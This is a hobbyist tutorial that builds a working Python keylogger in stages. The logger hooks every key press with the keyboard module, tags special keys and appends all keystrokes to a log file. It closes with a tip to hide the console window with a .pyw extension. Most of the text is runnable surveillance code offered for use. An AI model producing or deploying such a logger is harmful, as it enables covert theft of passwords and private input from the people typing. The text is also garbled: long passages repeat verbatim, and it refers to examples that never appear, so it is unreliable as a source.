Designing A Simple Key-logger In Python

Before we start, you need to be conversant with the python programming language, it is what we are going to use in this tutorial. Let’s get started.

Installing the required modules

We are going to use the keyboard module for the keylogger. To install it, open your terminal type in pip install keyboard. If no error occured, you are good to go.

After that, open a new python file and let's start coding 🕶️

Creating the logger function

import keyboard #The keyboard module

def logger(event):
    print(event.name)

keyboard.on_press(logger)
keyboard.wait()

I can say we are done, maybe above 50% done. Let me explain the code; on the first line, we imported the keyboard module. Then we defined our logger(event) function, it takes event as parameter and then it print's it's .name out. Then to the next line, we assigned the logger function as a parameter to the keyboard.on_press method. The keyboard.on_press method takes a function as parameter and passes an event to it. Then to the last line, the keyboard.wait makes the program run without closing, it acts like a while loop.

If we are to run our code in the terminal, it runs successfully without any errors. However, there is a problem, try typing this sentence after activating the logger "am a hacker".

We really might not see the effect because, when the program is ran on the terminal, each character is printed on a new line but if the results were stored in a file, this is how it will look.

We are going to use the keyboard module for the keylogger. To install it, open your terminal type in pip install keyboard. If no error occured, you are good to go.

After that, open a new python file and let's start coding 🕶️

Creating the logger function

import keyboard #The keyboard module

def logger(event):
    print(event.name)

keyboard.on_press(logger)
keyboard.wait()

I can say we are done, maybe above 50% done. Let me explain the code; on the first line, we imported the keyboard module. Then we defined our logger(event) function, it takes event as parameter and then it print's it's .name out. Then to the next line, we assigned the logger function as a parameter to the keyboard.on_press method. The keyboard.on_press method takes a function as parameter and passes an event to it. Then to the last line, the keyboard.wait makes the program run without closing, it acts like a while loop.

If we are to run our code in the terminal, it runs successfully without any errors. However, there is a problem, try typing this sentence after activating the logger "am a hacker".

We really might not see the effect because, when the program is ran on the terminal, each character is printed on a new line but if the results were stored in a file, this is how it will look.

You might be confused, let me explain, when special keys are pressed, their names are returned and thus it makes it difficult for us to know if it was a character or special key. For example, if a user presses space, it will print out "space" or if enter, it will print out "enter", when this data is appended to a file, it just adds up to the letters and makes it difficult for us to know whether it was a special key or not.

Solving the special key problem

Fortunately, there is a solution to this problem, the only thing we need to do is find a way to mark special keys so we will be able to differentiate between the two. To do so, we create another function called filter(char) which will filter the results before writing it to a file. It takes a character as parameter and surround the char with [] if it is a special key else, it will just go ahead and write it to a file.

def filter(char):
    if char == "space":
        return " "
    elif len(char) > 1:
        return "[%s]" % char
    else:
        return char

Well, this new code just popped into my head 😆 , the first time I made the filter function, it was like this.

This function above was 98 lines, this was because, I hard-coded every key inside my function, but now, I use a simple logic for the filter function. if we are to look at all the "special keys", we will find out that the length of their name is more than one whereas the length of normal characters or letters is one. So in our new filter function, we first checked if the char == 'space', we then return " " if true. Then on the next line, we check if the length of the char is greater than one, if it is, then it means it is a special key so we wrap []around it. else, we just return the char. Now our keylogger logs the characters much better.

import keyboard #The keyboard module

def filter(char):
    if char == "space":
        return " "
    elif len(char) > 1:
        return "[%s]" % char
    else:
        return char

def logger(event):
    print(filter(event.name))

keyboard.on_press(logger)
keyboard.wait()

Now, we are 95% done, our keylogger works as expected but it's not logging to any file. It's only writing to stdout. In order to make a real keylogger, we need to log the output to a file.

Logging data to a file

The final step is to create a function which will write the data to a file.

import keyboard #The keyboard module

def writer(data):
    with open("logs.txt","a") as file:
        file.write(data)

def filter(char):
    if char == "space":
        return " "
    elif len(char) > 1:
        return "[%s]" % char
    else:
        return char

def logger(event):
    writer(filter(event.name))

keyboard.on_press(logger)
keyboard.wait()

We created a function called writer which takes data as parameter, it then writes the data to a file named "logs.txt", the file is going to be located in the directory as the python file.

Let's have a look at our logger function again, we called the writer function and we passed the event.name to it but we wrapped it with the filter function to filter it and that's our keylogger. just run your python file and you are good to go

Tip: You can hide the console from popping up if you save your python file with a .pyw extension

You might be confused, let me explain, when special keys are pressed, their names are returned and thus it makes it difficult for us to know if it was a character or special key. For example, if a user presses space, it will print out "space" or if enter, it will print out "enter", when this data is appended to a file, it just adds up to the letters and makes it difficult for us to know whether it was a special key or not.

Solving the special key problem

Fortunately, there is a solution to this problem, the only thing we need to do is find a way to mark special keys so we will be able to differentiate between the two. To do so, we create another function called filter(char) which will filter the results before writing it to a file. It takes a character as parameter and surround the char with [] if it is a special key else, it will just go ahead and write it to a file.

def filter(char):
    if char == "space":
        return " "
    elif len(char) > 1:
        return "[%s]" % char
    else:
        return char

Well, this new code just popped into my head 😆 , the first time I made the filter function, it was like this.

This function above was 98 lines, this was because, I hard-coded every key inside my function, but now, I use a simple logic for the filter function. if we are to look at all the "special keys", we will find out that the length of their name is more than one whereas the length of normal characters or letters is one. So in our new filter function, we first checked if the char == 'space', we then return " " if true. Then on the next line, we check if the length of the char is greater than one, if it is, then it means it is a special key so we wrap []around it. else, we just return the char. Now our keylogger logs the characters much better.

import keyboard #The keyboard module

def filter(char):
    if char == "space":
        return " "
    elif len(char) > 1:
        return "[%s]" % char
    else:
        return char

def logger(event):
    print(filter(event.name))

keyboard.on_press(logger)
keyboard.wait()

Now, we are 95% done, our keylogger works as expected but it's not logging to any file. It's only writing to stdout. In order to make a real keylogger, we need to log the output to a file.

Logging data to a file

The final step is to create a function which will write the data to a file.

import keyboard #The keyboard module

def writer(data):
    with open("logs.txt","a") as file:
        file.write(data)

def filter(char):
    if char == "space":
        return " "
    elif len(char) > 1:
        return "[%s]" % char
    else:
        return char

def logger(event):
    writer(filter(event.name))

keyboard.on_press(logger)
keyboard.wait()

We created a function called writer which takes data as parameter, it then writes the data to a file named "logs.txt", the file is going to be located in the directory as the python file.

Let's have a look at our logger function again, we called the writer function and we passed the event.name to it but we wrapped it with the filter function to filter it and that's our keylogger. just run your python file and you are good to go

Tip: You can hide the console from popping up if you save your python file with a .pyw extension